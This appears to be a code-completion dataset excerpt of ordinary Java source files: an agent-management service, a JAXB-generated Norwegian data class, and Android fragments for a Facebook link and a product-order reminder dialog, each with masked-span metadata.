return isEmpty(agentOwner) || StringUtils.equals(userId, agentOwner);
})
.collect(toList());
}
/**
* ${@link List} of ready status agents information return
*
* @param userId the login user id
* @param targetRegion the name of target region
* @param targetSubregion the name of target subregion
*
* @return ${@link List} of ready status agents information
*/
private List<AgentInfo> getReadyAgentInfos(String userId, String targetRegion, String targetSubregion) {
if (isEmpty(targetSubregion)) {
return getReadyAgentInfos(userId, targetRegion, false);
}
return getReadyAgentInfos(userId, targetRegion, true)
.stream()
.filter(agentInfo -> StringUtils.equals(agentInfo.getSubregion(), targetSubregion))
.collect(toList());
}
@Override
public List<AgentInfo> getAllAttached() {
return agentInfoStore.getAllAgentInfo();
}
@Override
public List<AgentInfo> getLocalAgents() {
String region = config.getRegion();
return agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> region.equals(agentInfo.getRegion()))
.collect(toList());
}
@Override
public String createKey(AgentControllerIdentityImplementation agentIdentity) {
return createAgentKey(agentIdentity.getIp(), agentIdentity.getName());
}
private void publishTopic(AgentInfo agentInfo, AgentRequest.RequestType requestType) {
hazelcastService.publish(AGENT_TOPIC_NAME, new TopicEvent<>(AGENT_TOPIC_LISTENER_NAME,
agentInfo.getRegion(), new AgentRequest(agentInfo.getIp(), agentInfo.getName(), requestType)));
}
@Override
public void execute(TopicEvent<AgentRequest> event) {
if (event.getKey().equals(config.getRegion())) {
AgentRequest agentRequest = event.getData();
AgentControllerIdentityImplementation agentIdentity = getAgentIdentityByIpAndName(agentRequest.getAgentIp(), agentRequest.getAgentName());
if (agentIdentity != null) {
agentRequest.getRequestType().process(AgentService.this, agentIdentity);
}
}
}
@Override
public void update(Map<AgentIdentity, AgentProcessControlImplementation.AgentStatus> agentMap) {
boolean approved = config.getControllerProperties().getPropertyBoolean(PROP_CONTROLLER_ENABLE_AGENT_AUTO_APPROVAL);
Set<AgentInfo> agentInfoSet = agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> StringUtils.equals(agentInfo.getRegion(), config.getRegion()))
.collect(toSet());
for (AgentProcessControlImplementation.AgentStatus agentStatus : agentMap.values()) {
AgentControllerIdentityImplementation agentIdentity = (AgentControllerIdentityImplementation) agentStatus.getAgentIdentity();
AgentInfo agentInfo = agentInfoStore.getAgentInfo(createKey(requireNonNull(agentIdentity)));
// check new agent
if (agentInfo == null) {
agentInfo = new AgentInfo();
}
fillUpAgentInfo(agentInfo, agentStatus);
AgentInfo agentInfoInDB = agentManagerRepository.findByIpAndName(agentInfo.getIp(), agentInfo.getName());
if (agentInfoInDB != null) {
agentInfo.setApproved(agentInfoInDB.getApproved());
} else {
agentInfo.setApproved(approved);
}
agentInfoStore.updateAgentInfo(agentInfo.getAgentKey(), agentInfo);
agentInfoSet.remove(agentInfo);
}
// delete disconnected<SUF>
for (AgentInfo agentInfo : agentInfoSet) {
agentInfoStore.deleteAgentInfo(agentInfo.getAgentKey());
}
}
@Override
public void onConnectionAgentMessage(String ip, String name, String subregion, int port) {
Connection connection = connectionRepository.findByIpAndPort(ip, port);
String connectedAgentRegion = getConnectedAgentRegion(subregion);
if (connection == null) {
connection = new Connection(ip, name, port, connectedAgentRegion);
} else {
connection.setName(name);
connection.setRegion(connectedAgentRegion);
}
connectionRepository.save(connection);
}
private String getConnectedAgentRegion(String subregion) {
String region = regionService.getCurrent();
RegionInfo regionInfo = regionService.getOne(region);
if (config.isClustered() && isValidSubregion(regionInfo, subregion)) {
region = region + "." + subregion;
}
return region;
}
private boolean isValidSubregion(RegionInfo regionInfo, String subregion) {
return regionInfo.getSubregion().contains(subregion);
}
}
|
96769_4 | //
// This file was generated by the Eclipse Implementation of JAXB, v3.0.2
// See https://eclipse-ee4j.github.io/jaxb-ri
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2023.03.17 at 03:51:48 PM CET
//
package no.rtv.namespacetss;
import jakarta.xml.bind.annotation.XmlAccessType;
import jakarta.xml.bind.annotation.XmlAccessorType;
import jakarta.xml.bind.annotation.XmlElement;
import jakarta.xml.bind.annotation.XmlType;
/**
* Dette er en type som beskriver elementene osv til en samhandler
*
* <p>Java class for samhandlerType complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="samhandlerType">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="idOff" type="{http://www.rtv.no/NamespaceTSS}Tidoff"/>
* <element name="kodeIdentType" type="{http://www.rtv.no/NamespaceTSS}TkodeIdenttype"/>
* <element name="kodeSamhType" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="beskSamhType">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="30"/>
* <whiteSpace value="collapse"/>
* </restriction>
* </simpleType>
* </element>
* <element name="datoSamhFom" type="{http://www.rtv.no/NamespaceTSS}Tdato"/>
* <element name="datoSamhTom" type="{http://www.rtv.no/NamespaceTSS}Tdato"/>
* <element name="navnSamh">
* <simpleType>
* <restriction base="{http://www.rtv.no/NamespaceTSS}Tbeskr40">
* <minLength value="0"/>
* </restriction>
* </simpleType>
* </element>
* <element name="kodeSpraak">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="4"/>
* </restriction>
* </simpleType>
* </element>
* <element name="etatsMerke" type="{http://www.rtv.no/NamespaceTSS}Tgyldig"/>
* <element name="utbetSperre" type="{http://www.rtv.no/NamespaceTSS}Tgyldig"/>
* <element name="kodeKontrInt">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="4"/>
* </restriction>
* </simpleType>
* </element>
* <element name="beskrKontrInt">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="30"/>
* </restriction>
* </simpleType>
* </element>
* <element name="kodeStatus">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="4"/>
* </restriction>
* </simpleType>
* </element>
* <element name="beskrStatus">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="26"/>
* </restriction>
* </simpleType>
* </element>
* <element name="kilde" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="brukerId" type="{http://www.rtv.no/NamespaceTSS}Tbrukerid"/>
* <element name="tidReg" type="{http://www.rtv.no/NamespaceTSS}Ttidreg"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "samhandlerType", propOrder = {
"idOff",
"kodeIdentType",
"kodeSamhType",
"beskSamhType",
"datoSamhFom",
"datoSamhTom",
"navnSamh",
"kodeSpraak",
"etatsMerke",
"utbetSperre",
"kodeKontrInt",
"beskrKontrInt",
"kodeStatus",
"beskrStatus",
"kilde",
"brukerId",
"tidReg"
})
public class SamhandlerType {
@XmlElement(required = true)
protected String idOff;
@XmlElement(required = true)
protected String kodeIdentType;
@XmlElement(required = true)
protected String kodeSamhType;
@XmlElement(required = true)
protected String beskSamhType;
@XmlElement(required = true)
protected String datoSamhFom;
@XmlElement(required = true)
protected String datoSamhTom;
@XmlElement(required = true)
protected String navnSamh;
@XmlElement(required = true)
protected String kodeSpraak;
@XmlElement(required = true)
protected String etatsMerke;
@XmlElement(required = true)
protected String utbetSperre;
@XmlElement(required = true)
protected String kodeKontrInt;
@XmlElement(required = true)
protected String beskrKontrInt;
@XmlElement(required = true)
protected String kodeStatus;
@XmlElement(required = true)
protected String beskrStatus;
@XmlElement(required = true)
protected String kilde;
@XmlElement(required = true)
protected String brukerId;
@XmlElement(required = true)
protected String tidReg;
/**
* Gets the value of the idOff property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getIdOff() {
return idOff;
}
/**
* Sets the value of the idOff property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setIdOff(String value) {
this.idOff = value;
}
/**
* Gets the value of the kodeIdentType property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeIdentType() {
return kodeIdentType;
}
/**
* Sets the value of the kodeIdentType property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeIdentType(String value) {
this.kodeIdentType = value;
}
/**
* Gets the value of the kodeSamhType property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeSamhType() {
return kodeSamhType;
}
/**
* Sets the value of the kodeSamhType property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeSamhType(String value) {
this.kodeSamhType = value;
}
/**
* Gets the value of the beskSamhType property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBeskSamhType() {
return beskSamhType;
}
/**
* Sets the value of the beskSamhType property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBeskSamhType(String value) {
this.beskSamhType = value;
}
/**
* Gets the value of the datoSamhFom property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getDatoSamhFom() {
return datoSamhFom;
}
/**
* Sets the value of the datoSamhFom property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setDatoSamhFom(String value) {
this.datoSamhFom = value;
}
/**
* Gets the value of the datoSamhTom property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getDatoSamhTom() {
return datoSamhTom;
}
/**
* Sets the value of the datoSamhTom property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setDatoSamhTom(String value) {
this.datoSamhTom = value;
}
/**
* Gets the value of the navnSamh property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getNavnSamh() {
return navnSamh;
}
/**
* Sets the value of the navnSamh property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setNavnSamh(String value) {
this.navnSamh = value;
}
/**
* Gets the value of the kodeSpraak property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeSpraak() {
return kodeSpraak;
}
/**
* Sets the value of the kodeSpraak property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeSpraak(String value) {
this.kodeSpraak = value;
}
/**
* Gets the value of the etatsMerke property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getEtatsMerke() {
return etatsMerke;
}
/**
* Sets the value of the etatsMerke property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setEtatsMerke(String value) {
this.etatsMerke = value;
}
/**
* Gets the value of the utbetSperre property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getUtbetSperre() {
return utbetSperre;
}
/**
* Sets the value of the utbetSperre property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setUtbetSperre(String value) {
this.utbetSperre = value;
}
/**
* Gets the value of the kodeKontrInt property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeKontrInt() {
return kodeKontrInt;
}
/**
* Sets the value of the kodeKontrInt property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeKontrInt(String value) {
this.kodeKontrInt = value;
}
/**
* Gets the value of the beskrKontrInt property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBeskrKontrInt() {
return beskrKontrInt;
}
/**
* Sets the value of the beskrKontrInt property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBeskrKontrInt(String value) {
this.beskrKontrInt = value;
}
/**
* Gets the value of the kodeStatus property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeStatus() {
return kodeStatus;
}
/**
* Sets the value of the kodeStatus property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeStatus(String value) {
this.kodeStatus = value;
}
/**
* Gets the value of the beskrStatus property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBeskrStatus() {
return beskrStatus;
}
/**
* Sets the value of the beskrStatus property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBeskrStatus(String value) {
this.beskrStatus = value;
}
/**
* Gets the value of the kilde property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKilde() {
return kilde;
}
/**
* Sets the value of the kilde property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKilde(String value) {
this.kilde = value;
}
/**
* Gets the value of the brukerId property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBrukerId() {
return brukerId;
}
/**
* Sets the value of the brukerId property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBrukerId(String value) {
this.brukerId = value;
}
/**
* Gets the value of the tidReg property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getTidReg() {
return tidReg;
}
/**
* Sets the value of the tidReg property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setTidReg(String value) {
this.tidReg = value;
}
}
| navikt/familie-tjenestespesifikasjoner | tss/src/main/java/no/rtv/namespacetss/SamhandlerType.java | 4,689 | /**
* Dette er en type som beskriver elementene osv til en samhandler
*
* <p>Java class for samhandlerType complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="samhandlerType">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="idOff" type="{http://www.rtv.no/NamespaceTSS}Tidoff"/>
* <element name="kodeIdentType" type="{http://www.rtv.no/NamespaceTSS}TkodeIdenttype"/>
* <element name="kodeSamhType" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="beskSamhType">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="30"/>
* <whiteSpace value="collapse"/>
* </restriction>
* </simpleType>
* </element>
* <element name="datoSamhFom" type="{http://www.rtv.no/NamespaceTSS}Tdato"/>
* <element name="datoSamhTom" type="{http://www.rtv.no/NamespaceTSS}Tdato"/>
* <element name="navnSamh">
* <simpleType>
* <restriction base="{http://www.rtv.no/NamespaceTSS}Tbeskr40">
* <minLength value="0"/>
* </restriction>
* </simpleType>
* </element>
* <element name="kodeSpraak">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="4"/>
* </restriction>
* </simpleType>
* </element>
* <element name="etatsMerke" type="{http://www.rtv.no/NamespaceTSS}Tgyldig"/>
* <element name="utbetSperre" type="{http://www.rtv.no/NamespaceTSS}Tgyldig"/>
* <element name="kodeKontrInt">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="4"/>
* </restriction>
* </simpleType>
* </element>
* <element name="beskrKontrInt">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="30"/>
* </restriction>
* </simpleType>
* </element>
* <element name="kodeStatus">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="4"/>
* </restriction>
* </simpleType>
* </element>
* <element name="beskrStatus">
* <simpleType>
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <minLength value="0"/>
* <maxLength value="26"/>
* </restriction>
* </simpleType>
* </element>
* <element name="kilde" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="brukerId" type="{http://www.rtv.no/NamespaceTSS}Tbrukerid"/>
* <element name="tidReg" type="{http://www.rtv.no/NamespaceTSS}Ttidreg"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/ | block_comment | nl | //
// This file was generated by the Eclipse Implementation of JAXB, v3.0.2
// See https://eclipse-ee4j.github.io/jaxb-ri
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2023.03.17 at 03:51:48 PM CET
//
package no.rtv.namespacetss;
import jakarta.xml.bind.annotation.XmlAccessType;
import jakarta.xml.bind.annotation.XmlAccessorType;
import jakarta.xml.bind.annotation.XmlElement;
import jakarta.xml.bind.annotation.XmlType;
/**
* Dette er en<SUF>*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "samhandlerType", propOrder = {
"idOff",
"kodeIdentType",
"kodeSamhType",
"beskSamhType",
"datoSamhFom",
"datoSamhTom",
"navnSamh",
"kodeSpraak",
"etatsMerke",
"utbetSperre",
"kodeKontrInt",
"beskrKontrInt",
"kodeStatus",
"beskrStatus",
"kilde",
"brukerId",
"tidReg"
})
public class SamhandlerType {
@XmlElement(required = true)
protected String idOff;
@XmlElement(required = true)
protected String kodeIdentType;
@XmlElement(required = true)
protected String kodeSamhType;
@XmlElement(required = true)
protected String beskSamhType;
@XmlElement(required = true)
protected String datoSamhFom;
@XmlElement(required = true)
protected String datoSamhTom;
@XmlElement(required = true)
protected String navnSamh;
@XmlElement(required = true)
protected String kodeSpraak;
@XmlElement(required = true)
protected String etatsMerke;
@XmlElement(required = true)
protected String utbetSperre;
@XmlElement(required = true)
protected String kodeKontrInt;
@XmlElement(required = true)
protected String beskrKontrInt;
@XmlElement(required = true)
protected String kodeStatus;
@XmlElement(required = true)
protected String beskrStatus;
@XmlElement(required = true)
protected String kilde;
@XmlElement(required = true)
protected String brukerId;
@XmlElement(required = true)
protected String tidReg;
/**
* Gets the value of the idOff property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getIdOff() {
return idOff;
}
/**
* Sets the value of the idOff property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setIdOff(String value) {
this.idOff = value;
}
/**
* Gets the value of the kodeIdentType property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeIdentType() {
return kodeIdentType;
}
/**
* Sets the value of the kodeIdentType property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeIdentType(String value) {
this.kodeIdentType = value;
}
/**
* Gets the value of the kodeSamhType property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeSamhType() {
return kodeSamhType;
}
/**
* Sets the value of the kodeSamhType property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeSamhType(String value) {
this.kodeSamhType = value;
}
/**
* Gets the value of the beskSamhType property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBeskSamhType() {
return beskSamhType;
}
/**
* Sets the value of the beskSamhType property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBeskSamhType(String value) {
this.beskSamhType = value;
}
/**
* Gets the value of the datoSamhFom property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getDatoSamhFom() {
return datoSamhFom;
}
/**
* Sets the value of the datoSamhFom property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setDatoSamhFom(String value) {
this.datoSamhFom = value;
}
/**
* Gets the value of the datoSamhTom property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getDatoSamhTom() {
return datoSamhTom;
}
/**
* Sets the value of the datoSamhTom property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setDatoSamhTom(String value) {
this.datoSamhTom = value;
}
/**
* Gets the value of the navnSamh property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getNavnSamh() {
return navnSamh;
}
/**
* Sets the value of the navnSamh property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setNavnSamh(String value) {
this.navnSamh = value;
}
/**
* Gets the value of the kodeSpraak property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeSpraak() {
return kodeSpraak;
}
/**
* Sets the value of the kodeSpraak property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeSpraak(String value) {
this.kodeSpraak = value;
}
/**
* Gets the value of the etatsMerke property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getEtatsMerke() {
return etatsMerke;
}
/**
* Sets the value of the etatsMerke property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setEtatsMerke(String value) {
this.etatsMerke = value;
}
/**
* Gets the value of the utbetSperre property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getUtbetSperre() {
return utbetSperre;
}
/**
* Sets the value of the utbetSperre property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setUtbetSperre(String value) {
this.utbetSperre = value;
}
/**
* Gets the value of the kodeKontrInt property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeKontrInt() {
return kodeKontrInt;
}
/**
* Sets the value of the kodeKontrInt property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeKontrInt(String value) {
this.kodeKontrInt = value;
}
/**
* Gets the value of the beskrKontrInt property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBeskrKontrInt() {
return beskrKontrInt;
}
/**
* Sets the value of the beskrKontrInt property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBeskrKontrInt(String value) {
this.beskrKontrInt = value;
}
/**
* Gets the value of the kodeStatus property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKodeStatus() {
return kodeStatus;
}
/**
* Sets the value of the kodeStatus property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKodeStatus(String value) {
this.kodeStatus = value;
}
/**
* Gets the value of the beskrStatus property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBeskrStatus() {
return beskrStatus;
}
/**
* Sets the value of the beskrStatus property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBeskrStatus(String value) {
this.beskrStatus = value;
}
/**
* Gets the value of the kilde property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getKilde() {
return kilde;
}
/**
* Sets the value of the kilde property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setKilde(String value) {
this.kilde = value;
}
/**
* Gets the value of the brukerId property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getBrukerId() {
return brukerId;
}
/**
* Sets the value of the brukerId property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setBrukerId(String value) {
this.brukerId = value;
}
/**
* Gets the value of the tidReg property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getTidReg() {
return tidReg;
}
/**
* Sets the value of the tidReg property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setTidReg(String value) {
this.tidReg = value;
}
}
|
17136_4 | package com.ngagemedia.beeldvan.fragments;
import android.app.FragmentManager;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Handler;
import com.ngagemedia.beeldvan.MainActivity;
import com.ngagemedia.beeldvan.R;
import android.app.Fragment;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
public class FinalFragment extends Fragment {
Handler handler;
public FinalFragment() {
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.fragment_thanks, container, false);
getActivity().setTitle("Bedankt!");
//open facebook app, otherwise link to web
rootView.findViewById(R.id.btnlike).setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
if (isAppInstalled("com.facebook.katana")) {
String uri = "fb://page/1530754327148297";
Intent fbapp = new Intent(Intent.ACTION_VIEW, Uri.parse(uri));
startActivity(fbapp);
} else {
Intent open = new Intent(Intent.ACTION_VIEW, Uri.parse("https://m.facebook.com/BeeldVan"));
startActivity(open);
}
}
});
handler = new Handler();
//open drawer after delay
handler.postDelayed(new Runnable() {
@Override
public void run() {
//show sliding menu
MainActivity.mDrawerLayout.openDrawer(MainActivity.mDrawerList);
}
}, 3000);
return rootView;
}
private boolean isAppInstalled(String packageName) {
PackageManager pm = getActivity().getPackageManager();
boolean installed;
try {
pm.getPackageInfo(packageName, PackageManager.GET_ACTIVITIES);
installed = true;
} catch (PackageManager.NameNotFoundException e) {
installed = false;
}
return installed;
}
public void onStop() {
super.onStop();
}
public void onPause() {
super.onPause();
//on stop clear the backstack
// FragmentManager fm = getFragmentManager();
// MainActivity.mDrawerLayout.closeDrawer(MainActivity.mDrawerList);
// fm.popBackStackImmediate("HomeFragment",0);
// MainActivity.mDrawerLayout.closeDrawer(MainActivity.mDrawerList);
handler.removeCallbacksAndMessages(null);
}
}
| navyon/BeeldVan | BeeldVan/BeeldVan/src/com/ngagemedia/beeldvan/fragments/FinalFragment.java | 730 | // FragmentManager fm = getFragmentManager(); | line_comment | nl | package com.ngagemedia.beeldvan.fragments;
import android.app.FragmentManager;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Handler;
import com.ngagemedia.beeldvan.MainActivity;
import com.ngagemedia.beeldvan.R;
import android.app.Fragment;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
public class FinalFragment extends Fragment {
Handler handler;
public FinalFragment() {
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.fragment_thanks, container, false);
getActivity().setTitle("Bedankt!");
//open facebook app, otherwise link to web
rootView.findViewById(R.id.btnlike).setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
if (isAppInstalled("com.facebook.katana")) {
String uri = "fb://page/1530754327148297";
Intent fbapp = new Intent(Intent.ACTION_VIEW, Uri.parse(uri));
startActivity(fbapp);
} else {
Intent open = new Intent(Intent.ACTION_VIEW, Uri.parse("https://m.facebook.com/BeeldVan"));
startActivity(open);
}
}
});
handler = new Handler();
//open drawer after delay
handler.postDelayed(new Runnable() {
@Override
public void run() {
//show sliding menu
MainActivity.mDrawerLayout.openDrawer(MainActivity.mDrawerList);
}
}, 3000);
return rootView;
}
private boolean isAppInstalled(String packageName) {
PackageManager pm = getActivity().getPackageManager();
boolean installed;
try {
pm.getPackageInfo(packageName, PackageManager.GET_ACTIVITIES);
installed = true;
} catch (PackageManager.NameNotFoundException e) {
installed = false;
}
return installed;
}
public void onStop() {
super.onStop();
}
public void onPause() {
super.onPause();
//on stop clear the backstack
// FragmentManager fm<SUF>
// MainActivity.mDrawerLayout.closeDrawer(MainActivity.mDrawerList);
// fm.popBackStackImmediate("HomeFragment",0);
// MainActivity.mDrawerLayout.closeDrawer(MainActivity.mDrawerList);
handler.removeCallbacksAndMessages(null);
}
}
|
165188_6 | package boeren.com.appsuline.app.bmedical.appsuline.fragments;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.app.TimePickerDialog;
import android.os.Bundle;
import android.app.Fragment;
import android.support.v4.app.DialogFragment;
import android.support.v7.app.ActionBar;
import android.support.v7.app.ActionBarActivity;
import android.util.Log;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.inputmethod.EditorInfo;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.TimePicker;
import java.text.DateFormat;
import java.text.DateFormatSymbols;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import boeren.com.appsuline.app.bmedical.appsuline.R;
import boeren.com.appsuline.app.bmedical.appsuline.controllers.BaseController;
import boeren.com.appsuline.app.bmedical.appsuline.models.CalendarEvent;
import boeren.com.appsuline.app.bmedical.appsuline.utils.CalendarManagerNew;
import boeren.com.appsuline.app.bmedical.appsuline.utils.DateUtils;
import boeren.com.appsuline.app.bmedical.appsuline.utils.DialogEditingListener;
/**
* A simple {@link Fragment} subclass.
*/
public class EventProductBestellingEditFragment extends DialogFragment implements TextView.OnEditorActionListener {
static private Button btntime, btnorderdate;
private ImageView btnCancel, btnSave;
private int xhour;
private int xminute;
public static int xDay, xMonth, xYear;
private EditText edit_naamproduct;
private DialogEditingListener mCallback;
private CalendarEvent mEvent;
private static final String KEY_EVENT = "event";
private boolean isDualPan = false;
public static EventProductBestellingEditFragment newInstance(CalendarEvent event){
EventProductBestellingEditFragment s = new EventProductBestellingEditFragment();
Bundle args = new Bundle();
args.putSerializable(KEY_EVENT, event);
s.setArguments(args);
return s;
}
public EventProductBestellingEditFragment() {
// Required empty public constructor
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (getActivity().findViewById(R.id.container2) != null) isDualPan = true;
setRetainInstance(true);
}
public void setEvent(CalendarEvent event) {
this.mEvent = event;
}
@Override
public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
inflater.inflate(R.menu.menu_eventdelete, menu);
super.onCreateOptionsMenu(menu, inflater);
MenuItem shareItem = menu.findItem(R.id.action_eventdelete);
shareItem.setActionView(R.layout.deleteiconlayout);
ImageView img = (ImageView) shareItem.getActionView().findViewById(R.id.img_view_del);
img.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.e("appsuline del", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().delete(mEvent) + "");
if (isDualPan) {
HerinneringenFragment fragment = (HerinneringenFragment) getCurrentFragment();
fragment.loadEventsAndUpdateList();
}
getActivity().onBackPressed();
}
});
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment_event_product_bestelling_edit, container, false);
ActionBar actionBar = ((ActionBarActivity) getActivity()).getSupportActionBar();
setHasOptionsMenu(true);
actionBar.setDisplayHomeAsUpEnabled(true);
Bundle arguments = getArguments();
if (arguments != null && arguments.containsKey(KEY_EVENT)) {
mEvent = (CalendarEvent) getArguments().getSerializable(KEY_EVENT);
}
btntime = (Button) view.findViewById(R.id.btn_bloedmetentime);
btnCancel = (ImageView) view.findViewById(R.id.btnCancel);
btnSave = (ImageView) view.findViewById(R.id.btnSave);
btnorderdate = (Button) view.findViewById(R.id.btn_dateofororder);
edit_naamproduct = (EditText) view.findViewById(R.id.edit_naamproduct);
btnorderdate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
showStartDatePickerDialog(view);
}
});
btntime.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
// Process to get Current Time
final Calendar c = Calendar.getInstance();
xhour = c.get(Calendar.HOUR_OF_DAY);
xminute = c.get(Calendar.MINUTE);
// Launch Time Picker Dialog
